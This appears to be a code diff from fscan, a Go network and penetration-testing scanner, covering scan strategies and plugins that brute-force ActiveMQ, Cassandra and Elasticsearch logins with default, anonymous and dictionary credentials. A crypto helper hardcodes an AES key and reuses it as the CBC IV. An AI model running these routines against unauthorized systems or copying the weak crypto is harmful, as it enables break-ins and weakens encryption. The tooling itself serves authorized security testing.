Common.LogBase(fmt.Sprintf("使用服务插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase("未找到可用的服务插件")
}
}
// IsPluginApplicable 判断插件是否适用于服务扫描
func (s *ServiceScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下,排除本地插件
if plugin.HasType(Common.PluginTypeLocal) {
return false
}
// 检查端口是否匹配
if len(plugin.Ports) > 0 && targetPort > 0 {
return plugin.HasPort(targetPort)
}
// 无端口限制的插件或适用于服务扫描的插件
return len(plugin.Ports) == 0 || plugin.HasType(Common.PluginTypeService)
}
+125
View File
@@ -0,0 +1,125 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
)
// WebScanStrategy Web扫描策略
type WebScanStrategy struct{}
// NewWebScanStrategy 创建新的Web扫描策略
func NewWebScanStrategy() *WebScanStrategy {
return &WebScanStrategy{}
}
// Name 返回策略名称
func (s *WebScanStrategy) Name() string {
return "Web扫描"
}
// Description 返回策略描述
func (s *WebScanStrategy) Description() string {
return "扫描Web应用漏洞和信息"
}
// Execute 执行Web扫描策略
func (s *WebScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogBase("开始Web扫描")
// 验证插件配置
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
return
}
// 准备URL目标
targets := s.PrepareTargets(info)
// 输出插件信息
s.LogPluginInfo()
// 执行扫描任务
ExecuteScanTasks(targets, s, ch, wg)
}
// PrepareTargets 准备URL目标列表
func (s *WebScanStrategy) PrepareTargets(baseInfo Common.HostInfo) []Common.HostInfo {
var targetInfos []Common.HostInfo
for _, url := range Common.URLs {
urlInfo := baseInfo
// 确保URL包含协议头
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
url = "http://" + url
}
urlInfo.Url = url
targetInfos = append(targetInfos, urlInfo)
}
return targetInfos
}
// GetPlugins 获取Web扫描插件列表
func (s *WebScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了自定义插件并且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
requestedPlugins := parsePluginList(Common.ScanMode)
if len(requestedPlugins) == 0 {
requestedPlugins = []string{Common.ScanMode}
}
// 验证插件是否存在,不做Web类型过滤
var validPlugins []string
for _, name := range requestedPlugins {
if _, exists := Common.PluginManager[name]; exists {
validPlugins = append(validPlugins, name)
}
}
if len(validPlugins) > 0 {
return validPlugins, true
}
}
// 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤
return GetAllPlugins(), false
}
// LogPluginInfo 输出Web扫描插件信息
func (s *WebScanStrategy) LogPluginInfo() {
allPlugins, isCustomMode := s.GetPlugins()
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下,只显示Web类型的插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && plugin.HasType(Common.PluginTypeWeb) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用Web插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase("Web扫描模式: 未找到可用的Web插件")
}
}
// IsPluginApplicable 判断插件是否适用于Web扫描
func (s *WebScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下,只运行Web类型插件
return plugin.HasType(Common.PluginTypeWeb)
}
File diff suppressed because it is too large Load Diff
-191
View File
@@ -1,191 +0,0 @@
# fscan Makefile
# 提供统一的构建、测试、检查命令
.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test
# 默认目标
.DEFAULT_GOAL := help
# 项目配置
BINARY_NAME := fscan
GO := go
GOLANGCI_LINT := golangci-lint
# 颜色输出
BLUE := \033[0;34m
GREEN := \033[0;32m
RED := \033[0;31m
NC := \033[0m # No Color
## help: 显示帮助信息
help:
@echo "$(BLUE)fscan 构建工具$(NC)"
@echo ""
@echo "$(GREEN)可用命令:$(NC)"
@grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /'
@echo ""
## deps: 下载依赖
deps:
@echo "$(BLUE)下载依赖...$(NC)"
$(GO) mod download
$(GO) mod verify
@echo "$(GREEN)✓ 依赖下载完成$(NC)"
## test: 运行测试
test:
@echo "$(BLUE)运行测试...$(NC)"
# 禁用go test内置的vet检查,因为i18n.GetTextF的间接格式化模式与vet的printf检查冲突
# golangci-lint会运行完整的vet检查(已在.golangci.yml中禁用printf
$(GO) test -vet=off -race -v ./...
@echo "$(GREEN)✓ 测试通过$(NC)"
## test-cover: 运行测试并生成覆盖率报告
test-cover:
@echo "$(BLUE)运行测试(带覆盖率)...$(NC)"
# 禁用go test内置的vet检查,原因同上
$(GO) test -vet=off -race -coverprofile=coverage.out -covermode=atomic ./...
@echo ""
@echo "$(BLUE)覆盖率报告:$(NC)"
$(GO) tool cover -func=coverage.out | tail -1
@echo ""
@echo "$(GREEN)生成 HTML 报告: coverage.html$(NC)"
$(GO) tool cover -html=coverage.out -o coverage.html
@echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)"
## build: 构建生产版本(无 pprof,优化体积)
build:
@echo "$(BLUE)构建生产版本(无 pprof...$(NC)"
$(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)"
## build-web: 构建带Web UI的版本(需要先构建前端)
build-web: build-ui
@echo "$(BLUE)构建Web版本...$(NC)"
$(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)"
@echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web -web 启动Web界面$(NC)"
## build-ui: 构建前端(需要Node.js和npm
build-ui:
@echo "$(BLUE)构建前端...$(NC)"
@if [ ! -d "web-ui" ]; then \
echo "$(RED)错误: web-ui 目录不存在$(NC)"; \
echo "请先创建前端项目"; \
exit 1; \
fi
@cd web-ui && npm install && npm run build
@rm -rf web/dist
@cp -r web-ui/dist web/dist
@echo "$(GREEN)✓ 前端构建完成$(NC)"
## build-debug: 构建调试版本(带 pprof
build-debug:
@echo "$(BLUE)构建调试版本(带 pprof...$(NC)"
$(GO) build -tags=debug -o $(BINARY_NAME)_debug .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_debug$(NC)"
@echo "$(BLUE)提示: 运行后访问 http://localhost:6060/debug/pprof$(NC)"
## build-race: 构建 race 检测版本
build-race:
@echo "$(BLUE)构建 race 检测版本...$(NC)"
$(GO) build -race -tags=debug -o $(BINARY_NAME)_race .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_race$(NC)"
@echo "$(BLUE)提示: 运行时会检测数据竞争,性能会降低$(NC)"
## build-all: 构建所有平台的二进制文件
build-all:
@echo "$(BLUE)构建所有平台...$(NC)"
@echo "Windows amd64..."
GOOS=windows GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-windows-amd64.exe .
@echo "Linux amd64..."
GOOS=linux GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-linux-amd64 .
@echo "Darwin amd64..."
GOOS=darwin GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-darwin-amd64 .
@echo "$(GREEN)✓ 所有平台构建完成$(NC)"
## lint: 运行代码检查
lint:
@echo "$(BLUE)运行代码检查...$(NC)"
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
echo "运行 'make install-tools' 安装"; \
exit 1; }
$(GOLANGCI_LINT) run ./...
@echo "$(GREEN)✓ 代码检查通过$(NC)"
## lint-fix: 运行代码检查并自动修复
lint-fix:
@echo "$(BLUE)运行代码检查(自动修复)...$(NC)"
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
echo "运行 'make install-tools' 安装"; \
exit 1; }
$(GOLANGCI_LINT) run --fix ./...
@echo "$(GREEN)✓ 代码检查完成(已自动修复)$(NC)"
## clean: 清理构建产物
clean:
@echo "$(BLUE)清理构建产物...$(NC)"
rm -f $(BINARY_NAME) $(BINARY_NAME).exe
rm -f $(BINARY_NAME)_debug $(BINARY_NAME)_debug.exe
rm -f $(BINARY_NAME)_race $(BINARY_NAME)_race.exe
rm -f coverage.out coverage.html
rm -rf dist/ tests/logs/
@echo "$(GREEN)✓ 清理完成$(NC)"
## stress-test: 压力测试(需要先 build-debug
stress-test:
@echo "$(BLUE)压力测试...$(NC)"
@if [ ! -f $(BINARY_NAME)_debug ] && [ ! -f $(BINARY_NAME)_debug.exe ]; then \
echo "$(RED)错误: $(BINARY_NAME)_debug 不存在$(NC)"; \
echo "请先运行 'make build-debug'"; \
exit 1; \
fi
@if [ -f tests/stress_test.sh ]; then \
bash tests/stress_test.sh; \
else \
echo "$(RED)错误: tests/stress_test.sh 不存在$(NC)"; \
echo "请先创建压力测试脚本"; \
exit 1; \
fi
## ci: CI流程(lint + test + build
ci: lint test build
@echo "$(GREEN)✓ CI流程完成$(NC)"
## install-tools: 安装开发工具
install-tools:
@echo "$(BLUE)安装开发工具...$(NC)"
@echo "检查 golangci-lint..."
@if command -v $(GOLANGCI_LINT) >/dev/null 2>&1; then \
echo "$(GREEN)✓ golangci-lint 已安装$(NC)"; \
$(GOLANGCI_LINT) version; \
else \
echo "$(BLUE)安装 golangci-lint...$(NC)"; \
if command -v go >/dev/null 2>&1; then \
echo "使用 go install 安装..."; \
go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest && \
echo "$(GREEN)✓ golangci-lint 安装成功$(NC)" && \
$(GOLANGCI_LINT) version || \
{ echo "$(RED)✗ 安装失败,请手动安装:$(NC)"; \
echo " go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest"; \
echo "或访问: https://golangci-lint.run/welcome/install/"; \
exit 1; }; \
else \
echo "$(RED)✗ Go 未安装,无法自动安装 golangci-lint$(NC)"; \
exit 1; \
fi; \
fi
## fmt: 格式化代码
fmt:
@echo "$(BLUE)格式化代码...$(NC)"
$(GO) fmt ./...
@echo "$(GREEN)✓ 代码格式化完成$(NC)"
## vet: 运行 go vet(跳过printf检查)
vet:
@echo "$(BLUE)运行 go vet...$(NC)"
$(GO) vet -printf=false ./...
@echo "$(GREEN)✓ go vet 检查通过$(NC)"
+317
View File
@@ -0,0 +1,317 @@
package Plugins
import (
"context"
"fmt"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
)
// ActiveMQCredential 表示一个ActiveMQ凭据
type ActiveMQCredential struct {
Username string
Password string
}
// ActiveMQScanResult 表示扫描结果
type ActiveMQScanResult struct {
Success bool
Error error
Credential ActiveMQCredential
}
func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试默认账户
Common.LogDebug("尝试默认账户 admin:admin")
defaultCredential := ActiveMQCredential{Username: "admin", Password: "admin"}
defaultResult := tryActiveCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries)
if defaultResult.Success {
saveActiveMQSuccess(info, target, defaultResult.Credential)
return nil
}
// 生成所有凭据组合
credentials := generateActiveMQCredentials(Common.Userdict["activemq"], Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["activemq"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentActiveMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveActiveMQSuccess(info, target, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("ActiveMQ扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认凭据
return nil
}
}
// generateActiveMQCredentials 生成ActiveMQ的用户名密码组合
func generateActiveMQCredentials(users, passwords []string) []ActiveMQCredential {
var credentials []ActiveMQCredential
for _, user := range users {
for _, pass := range passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, ActiveMQCredential{
Username: user,
Password: actualPass,
})
}
}
return credentials
}
// concurrentActiveMQScan 并发扫描ActiveMQ服务
func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, credentials []ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *ActiveMQScanResult, 1)
workChan := make(chan ActiveMQCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryActiveCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("ActiveMQ并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryActiveCredential 尝试单个ActiveMQ凭据
func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &ActiveMQScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := ActiveMQConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &ActiveMQScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &ActiveMQScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// ActiveMQConn 尝试ActiveMQ连接
func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
addr := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 使用上下文创建带超时的连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, err
}
defer conn.Close()
// 创建结果通道
resultChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中处理认证
go func() {
// STOMP协议的CONNECT命令
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass)
// 发送认证请求
conn.SetWriteDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if _, err := conn.Write([]byte(stompConnect)); err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
// 读取响应
conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
respBuf := make([]byte, 1024)
n, err := conn.Read(respBuf)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
// 检查认证结果
response := string(respBuf[:n])
var success bool
var resultErr error
if strings.Contains(response, "CONNECTED") {
success = true
resultErr = nil
} else if strings.Contains(response, "Authentication failed") || strings.Contains(response, "ERROR") {
success = false
resultErr = fmt.Errorf("认证失败")
} else {
success = false
resultErr = fmt.Errorf("未知响应: %s", response)
}
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{success, resultErr}:
}
}()
// 等待认证结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveActiveMQSuccess 记录并保存ActiveMQ成功结果
func saveActiveMQSuccess(info *Common.HostInfo, target string, credential ActiveMQCredential) {
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "activemq",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(result)
}
+127
View File
@@ -0,0 +1,127 @@
package Plugins
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"errors"
"fmt"
"net"
)
// ReadBytes 从连接读取数据直到EOF或错误
func ReadBytes(conn net.Conn) ([]byte, error) {
size := 4096 // 缓冲区大小
buf := make([]byte, size)
var result []byte
var lastErr error
// 循环读取数据
for {
count, err := conn.Read(buf)
if err != nil {
lastErr = err
break
}
result = append(result, buf[0:count]...)
// 如果读取的数据小于缓冲区,说明已经读完
if count < size {
break
}
}
// 如果读到了数据,则忽略错误
if len(result) > 0 {
return result, nil
}
return result, lastErr
}
// 默认AES加密密钥
var key = "0123456789abcdef"
// AesEncrypt 使用AES-CBC模式加密字符串
func AesEncrypt(orig string, key string) (string, error) {
// 转为字节数组
origData := []byte(orig)
keyBytes := []byte(key)
// 创建加密块,要求密钥长度必须为16/24/32字节
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("创建加密块失败: %v", err)
}
// 获取块大小并填充数据
blockSize := block.BlockSize()
origData = PKCS7Padding(origData, blockSize)
// 创建CBC加密模式
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
// 加密数据
encrypted := make([]byte, len(origData))
blockMode.CryptBlocks(encrypted, origData)
// base64编码
return base64.StdEncoding.EncodeToString(encrypted), nil
}
// AesDecrypt 使用AES-CBC模式解密字符串
func AesDecrypt(crypted string, key string) (string, error) {
// base64解码
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
if err != nil {
return "", fmt.Errorf("base64解码失败: %v", err)
}
keyBytes := []byte(key)
// 创建解密块
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("创建解密块失败: %v", err)
}
// 创建CBC解密模式
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
// 解密数据
origData := make([]byte, len(cryptedBytes))
blockMode.CryptBlocks(origData, cryptedBytes)
// 去除填充
origData, err = PKCS7UnPadding(origData)
if err != nil {
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
}
return string(origData), nil
}
// PKCS7Padding 对数据进行PKCS7填充
func PKCS7Padding(data []byte, blockSize int) []byte {
padding := blockSize - len(data)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(data, padtext...)
}
// PKCS7UnPadding 去除PKCS7填充
func PKCS7UnPadding(data []byte) ([]byte, error) {
length := len(data)
if length == 0 {
return nil, errors.New("数据长度为0")
}
padding := int(data[length-1])
if padding > length {
return nil, errors.New("填充长度无效")
}
return data[:length-padding], nil
}
+364
View File
@@ -0,0 +1,364 @@
package Plugins
import (
"context"
"fmt"
"net"
"strconv"
"strings"
"sync"
"time"
"github.com/gocql/gocql"
"github.com/shadow1ng/fscan/Common"
)
// CassandraProxyDialer 实现gocql.Dialer接口,支持代理连接
type CassandraProxyDialer struct {
timeout time.Duration
}
func (d *CassandraProxyDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
host, port, err := net.SplitHostPort(addr)
if err != nil {
return nil, err
}
return Common.WrapperTcpWithContext(ctx, network, fmt.Sprintf("%s:%s", host, port))
}
// CassandraCredential 表示一个Cassandra凭据
type CassandraCredential struct {
Username string
Password string
}
// CassandraScanResult 表示扫描结果
type CassandraScanResult struct {
Success bool
IsAnonymous bool
Error error
Credential CassandraCredential
}
func CassandraScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试无认证访问
Common.LogDebug("尝试无认证访问...")
anonymousCredential := CassandraCredential{Username: "", Password: ""}
anonymousResult := tryCassandraCredential(ctx, info, anonymousCredential, Common.Timeout, Common.MaxRetries)
if anonymousResult.Success {
saveCassandraSuccess(info, target, anonymousResult.Credential, true)
return nil
}
// 生成所有凭据组合
credentials := generateCassandraCredentials(Common.Userdict["cassandra"], Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["cassandra"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentCassandraScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveCassandraSuccess(info, target, result.Credential, false)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Cassandra扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
// generateCassandraCredentials 生成Cassandra的用户名密码组合
func generateCassandraCredentials(users, passwords []string) []CassandraCredential {
var credentials []CassandraCredential
for _, user := range users {
for _, pass := range passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, CassandraCredential{
Username: user,
Password: actualPass,
})
}
}
return credentials
}
// concurrentCassandraScan 并发扫描Cassandra服务
func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo, credentials []CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *CassandraScanResult, 1)
workChan := make(chan CassandraCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryCassandraCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Cassandra并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryCassandraCredential 尝试单个Cassandra凭据
func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credential CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &CassandraScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := CassandraConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &CassandraScanResult{
Success: true,
IsAnonymous: credential.Username == "" && credential.Password == "",
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &CassandraScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// CassandraConn 尝试Cassandra连接,支持上下文超时
func CassandraConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
cluster := gocql.NewCluster(host)
cluster.Port, _ = strconv.Atoi(port)
cluster.Timeout = timeout
cluster.ConnectTimeout = timeout
cluster.ProtoVersion = 4
cluster.Consistency = gocql.One
// 如果配置了代理,设置自定义Dialer
if Common.Socks5Proxy != "" {
cluster.Dialer = &CassandraProxyDialer{
timeout: timeout,
}
}
if user != "" || pass != "" {
cluster.Authenticator = gocql.PasswordAuthenticator{
Username: user,
Password: pass,
}
}
cluster.RetryPolicy = &gocql.SimpleRetryPolicy{NumRetries: 3}
// 创建会话通道
sessionChan := make(chan struct {
session *gocql.Session
err error
}, 1)
// 在后台创建会话,以便可以通过上下文取消
go func() {
session, err := cluster.CreateSession()
select {
case <-ctx.Done():
if session != nil {
session.Close()
}
case sessionChan <- struct {
session *gocql.Session
err error
}{session, err}:
}
}()
// 等待会话创建或上下文取消
var session *gocql.Session
var err error
select {
case result := <-sessionChan:
session, err = result.session, result.err
if err != nil {
return false, err
}
case <-ctx.Done():
return false, ctx.Err()
}
defer session.Close()
// 尝试执行查询,测试连接是否成功
resultChan := make(chan struct {
success bool
err error
}, 1)
go func() {
var version string
var err error
// 尝试两种查询,确保至少一种成功
err = session.Query("SELECT peer FROM system.peers").WithContext(ctx).Scan(&version)
if err != nil {
err = session.Query("SELECT now() FROM system.local").WithContext(ctx).Scan(&version)
}
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{err == nil, err}:
}
}()
// 等待查询结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveCassandraSuccess 记录并保存Cassandra成功结果
func saveCassandraSuccess(info *Common.HostInfo, target string, credential CassandraCredential, isAnonymous bool) {
var successMsg string
var details map[string]interface{}
if isAnonymous {
successMsg = fmt.Sprintf("Cassandra服务 %s 无认证访问成功", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "cassandra",
"auth_type": "anonymous",
"type": "unauthorized-access",
"description": "数据库允许无认证访问",
}
} else {
successMsg = fmt.Sprintf("Cassandra服务 %s 爆破成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "cassandra",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
}
}
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
}
+1050
View File
File diff suppressed because it is too large Load Diff
+9
View File
@@ -0,0 +1,9 @@
//go:build !windows
package Plugins
import "github.com/shadow1ng/fscan/Common"
func DCInfoScan(info *Common.HostInfo) (err error) {
return nil
}
+306
View File
@@ -0,0 +1,306 @@
package Plugins
import (
"context"
"crypto/tls"
"encoding/base64"
"fmt"
"github.com/shadow1ng/fscan/Common"
"net/http"
"strings"
"sync"
"time"
)
// ElasticCredential 表示Elasticsearch的凭据
type ElasticCredential struct {
Username string
Password string
}
// ElasticScanResult 表示扫描结果
type ElasticScanResult struct {
Success bool
IsUnauth bool
Error error
Credential ElasticCredential
}
func ElasticScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 首先测试无认证访问
Common.LogDebug("尝试无认证访问...")
unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, Common.Timeout, Common.MaxRetries)
if unauthResult.Success {
// 无需认证情况
saveElasticResult(info, target, unauthResult.Credential, true)
return nil
}
// 构建凭据列表
var credentials []ElasticCredential
for _, user := range Common.Userdict["elastic"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, ElasticCredential{
Username: user,
Password: actualPass,
})
}
}
